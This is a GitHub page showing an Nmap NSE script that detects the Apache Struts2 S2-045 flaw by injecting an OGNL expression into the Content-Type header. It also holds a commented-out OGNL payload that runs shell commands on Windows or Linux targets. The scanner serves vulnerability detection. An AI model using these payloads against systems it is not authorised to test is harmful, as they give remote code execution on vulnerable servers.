-
Notifications
You must be signed in to change notification settings - Fork 13
/
struts2-scan.nse
105 lines (99 loc) · 4.93 KB
/
struts2-scan.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
description = [[
Struts2 S2-045 Checks
]]
---
-- nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -oX outscan.xml
--
-- BeaconLab http://plcscan.org/blog/
---
categories = {"discovery", "safe"}
author = "Z-0ne"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
local http = require "http"
local target = require "target"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"
--use script to scan any open TCP port
portrule = function(host, port)
return port.state == "open"
end
action = function(host, port)
local output = stdnse.output_table()
local options
local payload = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('Struts2S2045Checks!!!')).(#o.close())}"
--local payload_cmd = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
local useragent = "Mozilla/5.0"
options = {header = {}, timeout = 15000}
options["header"]["Content-type"] = payload
options["header"]["User-Agent"] = useragent
local response = http.get(host, port, "/", options)
if response.status == 200 then
if string.find(response.body, "Struts2S2045Checks") ~= nil then
-- exclude index "php default phpinfo() page"
if string.find(response.body, "phpinfo") == nil then
--response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63 Struts2S2045Chec
-- 0010 6b 73 21 21 21 ks!!!
if #response.body == 21 then
output["status"] = "S2-045-AChecks vuln21"
return output
--response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63 Struts2S2045Chec
-- 0010 6b 73 21 21 21 0a ks!!!.
elseif #response.body == 22 then
output["status"] = "S2-045-AChecks vuln22"
return output
--response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63 Struts2S2045Chec
-- 0010 6b 73 21 21 21 0d 0a ks!!!..
elseif #response.body == 23 then
output["status"] = "S2-045-AChecks vuln23"
return output
elseif #response.body < 50 then
output["status"] = "S2-045-AChecks"
output["resplength"] = #response.body
return output
else
output["status"] = "S2-045-AChecks lengtherror"
output["resplength"] = #response.body
return output
end
end
end
end
if response.status == 302 or response.status == 301 then
if response.location then
local parseurl = http.parse_url(response.location[#response.location])
--fix location http://127.0.0.1/login.action to http://host:port/uri
local response = http.get(parseurl.host,port,parseurl.path,options)
if response.status == 200 then
if string.find(response.body, "Struts2S2045Checks") ~= nil then
if string.find(response.body, "phpinfo") == nil then
if #response.body == 21 then
output["status"] = "S2-045-BChecks vuln21"
return output
elseif #response.body == 22 then
output["status"] = "S2-045-BChecks vuln22"
return output
elseif #response.body == 23 then
output["status"] = "S2-045-BChecks vuln23"
return output
elseif #response.body < 50 then
output["status"] = "S2-045-BChecks"
output["resplength"] = #response.body
return output
else
output["status"] = "S2-045-BChecks lengtherror"
output["resplength"] = #response.body
return output
end
end
end
end
end
end
-- Debug
-- if response.status == 404 and response.body then
-- output["status"] = "S2-045-CChecks"
-- output["res"] = response.body
-- return output
-- end
end